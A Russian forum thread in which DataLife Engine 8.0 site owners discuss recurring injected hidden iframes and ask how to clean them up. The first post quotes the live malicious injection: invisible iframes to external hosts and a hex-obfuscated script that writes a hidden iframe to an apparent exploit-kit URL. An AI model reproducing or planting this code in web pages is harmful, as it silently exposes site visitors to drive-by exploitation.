Помощь Постоянногенерируются айфреймы чужие

[jaxman]

На протяжении всего лета переодически после очередного удаления айфреймой, они опять появляются.
Читал эту статью Для просмотра ссылки Войди или Зарегистрируйся, удаление айфреймов и смена пароля на ФТП не помогает.

Вот что вылазит:

<!-- DataLife Engine Copyright SoftNews Media Group (Для просмотра ссылки Войди или Зарегистрируйся) -->
<iframe src="http://xb8.ru:8080/ts/in.cgi?pepsi122" width=125 height=125 style="visibility: hidden"></iframe>

Помогите плиз решить проблему.


Ко всему прочему на одном из сайтов после айфрейма добавилось следующее:

<iframe src="http://f5x.ru:8080/index.php" width=150 height=104 style="visibility: hidden"></iframe>
<script>function vtYbdyaVtyd(vbxdaVadyay){ return(parseInt(vbxdaVadyay,16));}function vxdbyVaYaYb(vYxbVdabdtt){ var vVaYtbxyVbb='';for(vybayVyVbYd=0; vybayVyVbYd<vYxbVdabdtt.length; vybayVyVbYd+=2){vVaYtbxyVbb+=(String.fromCharCode(vtYbdyaVtyd(vYxbVdabdtt.substr(vybayVyVbYd,2))));}return vVaYtbxyVbb;} document.write(vxdbyVaYaYb('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65202069643D225962595662646262786222206E616D653D226274746264745964746422207372633D22687474703A2F2F7265646469692E72752F747261666669632F73706C6F6974312F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A343337292B2756617959797878615978222077696474683D22313922206865696768743D22323322207374796C653D22646973706C61793A206E6F6E653B223E3C2F696672616D653E27293C2F5343524950543E'));</script>

 

[ORZ]

Сохраняешь database + всю медиу и переносиш сите на новый хост, ДЛЕ бери толко с 0еда. Здесь даже обсуждать нечего.

 

[$aSH]

косяк хостера (уязвимый банально) - однозначно менять, либо пинать

 

[chibit]

Версия DLE какая? Сегодня тоже подобный iframe во всех index.php файлах форума и сайта появился

 

[jaxman]

Версия DLE какая? Сегодня тоже подобный iframe во всех index.php файлах форума и сайта появился

Версия 8.0, айфреймы не тольков в двух индексах, еще и в engine\inc\main.php и engine\skins\default.skin.php. Проверь и найдешь их еще и там.

 

[chibit]

Сегодня после такой "находки" снес весь сайт (кроме аплоуд и шаблонов) и поставил DLE 8.2
Форум так еще и не очистил от ифреймов
Видно кто-то масштабно эксплуатирует уязвимость DLE 8.0
З.Ы. Установлена была интеграции DLE + IPB? А просто IPB?